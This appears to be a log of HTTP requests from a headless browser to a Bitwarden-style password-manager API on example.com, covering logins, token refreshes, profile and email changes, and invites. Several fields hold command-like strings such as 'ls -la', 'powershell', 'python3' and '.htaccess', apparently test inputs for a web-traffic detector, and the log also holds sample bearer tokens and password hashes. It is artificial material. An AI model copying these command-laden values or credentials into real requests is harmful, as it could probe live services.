"grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5Njg3NDg5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiS0VQUnZkdy1TQVk3UzZaX05PV2ZNb1ZiRURjejZTTDFsSWVIckRnbkUtRWFBaFFVdGlfYWFPSGZ6M2VkRy1nZzlkRmI0YkpqRW5oSC1tcVdRLTB5c0E9PSIsInRva2VuIjpudWxsfQ.MwoZxAVoW7_XPkjPiHjTmqKKhYFOMTDY5xZFTwRCyZeD1TRufNxTlHkZrc_BZJjA32bk6XZKb4b-lSQjIKWftorUEX3gsKqH9E-0GKc2sLR8BGpqpj-iVevcG8VzCjknBJHLG5iRbh2vm2tuxWyNU_sRa9dTI6T1kJh-qv-mxdyujGKJIkbQ6zHxtO3j2XIaL38eywUC3cXTgsvlFwTovs0lQzMEm3cM-hNPdjQTxvJ4Re1IAPHD6-LT6bOXpUG9Oyr0vqgeO68FsBofmCOft6ihzyNne5qE1vAtEOx3uuzG_J3SXn4NyazZgjf6pBO31EkevRkjNCDSMFsIXbTN8w"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ccc6e0e6-3020-4dd9-bd8a-458eec6dadb3&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 49", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\".htaccess powershell\"}"}
|
||||||
|
{"method": "POST", "target": "/api/accounts/email-token", "headers": ["Host: example.com", "Content-Length: 111", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"newEmail\":\"powershell.alice@example.com\",\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"}"}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeGroups=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 158", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"powershell@example.com\",\"python3@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
|
||||||
|
{"method": "GET", "target": "/api/emergency-access/trusted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5Njg3NDkzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNVJHOENYTllpemlyVzFHRGVTeHduV19VRXJlV0xkeDRySWRlN2FQNTBfSUw3b19ONXd6QTdKdFh6dVJ3T2lPVU1aTFNfRUI2T29JRGhzNkJsZThSMXc9PSIsInRva2VuIjpudWxsfQ.Srb4A9_Ulqy8z6hFlLpX7oZLlOHow9P_b2jLOS6WD40TaAg72K5Lzoki34V1ptorkk3K3rn1x3v3EMixywZ9PJcf6J_mDqUiV7UKgqAJAzIQV77XuxNYJUSqiPi4RSLEuTjZ7fEfIlOyhbLYGNSWiKfDaJoMDUk4rQeS4wluKAzO4L9ctcjjIpiGK7r8zAcFBF6LMDNOyQ6UhWjDF-zTtAop6PiX5vrhB0Z1oc1uBGLuu-3TQfmX95bg0LB0beG6-Ac6_t06OAC23Z9aEXtyCbtMD9vaD4liSeINBEovZsmcjs99R2PwszzvhPaOSdSBHnJrroCIEXdW3-7MQH42lw"}
|
||||||
|
{"method": "GET", "target": "/api/emergency-access/granted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: cbab8704-bbce-46dd-ae1c-46db82853311", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=85c47933-cd4b-495d-bcc9-922b445f0fda&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/emergency-access/invite", "headers": ["Host: example.com", "Content-Length: 57", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3@example.com\",\"type\":0,\"waitTimeDays\":7}"}
|
||||||
|
{"method": "GET", "target": "/api/hibp/breach?username=powershell%40example.com", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/hibp.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||||
|
